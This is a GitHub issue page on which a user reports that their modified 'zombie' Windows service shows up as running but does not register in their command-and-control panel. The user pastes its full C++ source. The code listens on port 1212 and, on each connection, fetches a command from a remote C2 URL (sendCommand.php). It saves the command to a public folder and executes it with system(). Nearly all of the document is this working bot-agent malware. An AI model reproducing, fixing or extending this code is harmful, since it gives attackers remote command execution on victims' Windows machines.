We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
The service code is modified as follows, you can see that the service is already running, but there is nothing in c&c 。
Anget.exe can download the service.exe of the server normally。
The service.cpp in Win10HTTP is modified and placed in the bin directory.
#include <windows.h> #include <wininet.h> #include <iostream> #include <string> #include <fstream> #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ws2_32.lib") #define SERVICE_NAME "zombie" std::string GetURLContent(const char* url) { std::string content; HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet) { HINTERNET hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hConnect) { DWORD bytesRead; char buffer[4096]; while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { content.append(buffer, bytesRead); } InternetCloseHandle(hConnect); } InternetCloseHandle(hInternet); } return content; } DWORD WINAPI RequestHandler(LPVOID lpParam) { SOCKET clientSocket = (SOCKET)lpParam; // Aquí colocas el código que deseas ejecutar cuando se reciba una petición en el servidor de Windows. // Por ejemplo, puedes realizar una lectura de datos recibidos en el socket y realizar una acción en base a esos datos. // Recuerda cerrar el socket al finalizar el manejo de la petición. // Ejemplo de recepción de datos: char buffer[4096]; int bytesRead = recv(clientSocket, buffer, sizeof(buffer), 0); if (bytesRead > 0) { // Realiza alguna acción basada en los datos recibidos en el buffer. const char* url = "http://*************:82/C2WebServer/controller/sendCommand.php"; std::string urlContent = GetURLContent(url); std::ofstream file("C:\\Users\\Public\\Music\\command.txt"); file << urlContent; file.close(); system(GetURLContent(url).c_str()); } closesocket(clientSocket); return 0; } VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv) { WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { return; } SOCKET listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { // Error al crear el socket WSACleanup(); // Limpiar Winsock return; } sockaddr_in service; service.sin_family = AF_INET; service.sin_addr.s_addr = htonl(INADDR_ANY); service.sin_port = htons(1212); if (bind(listenSocket, (SOCKADDR*)&service, sizeof(service)) == SOCKET_ERROR) { // Error al vincular el socket closesocket(listenSocket); WSACleanup(); // Limpiar Winsock return; } if (listen(listenSocket, SOMAXCONN) == SOCKET_ERROR) { // Error al escuchar en el socket closesocket(listenSocket); WSACleanup(); // Limpiar Winsock return; } while (true) { SOCKET clientSocket = accept(listenSocket, NULL, NULL); if (clientSocket == INVALID_SOCKET) { // Error al aceptar la conexión continue; } // Crear un nuevo hilo para manejar la petición DWORD threadId; HANDLE threadHandle = CreateThread(NULL, 0, RequestHandler, (LPVOID)clientSocket, 0, &threadId); if (threadHandle == NULL) { // Error al crear el hilo closesocket(clientSocket); continue; } // Cerrar el handle del hilo, ya que no lo necesitamos CloseHandle(threadHandle); } // Cerrar el socket y limpiar Winsock closesocket(listenSocket); WSACleanup(); } int main(int argc, char* argv[]) { SERVICE_TABLE_ENTRY serviceTable[] = { { const_cast<LPSTR>(SERVICE_NAME), ServiceMain }, { nullptr, nullptr } }; StartServiceCtrlDispatcher(serviceTable); return 0; }
The text was updated successfully, but these errors were encountered:
No branches or pull requests
The service code is modified as follows, you can see that the service is already running, but there is nothing in c&c 。
Anget.exe can download the service.exe of the server normally。
The service.cpp in Win10HTTP is modified and placed in the bin directory.
The text was updated successfully, but these errors were encountered: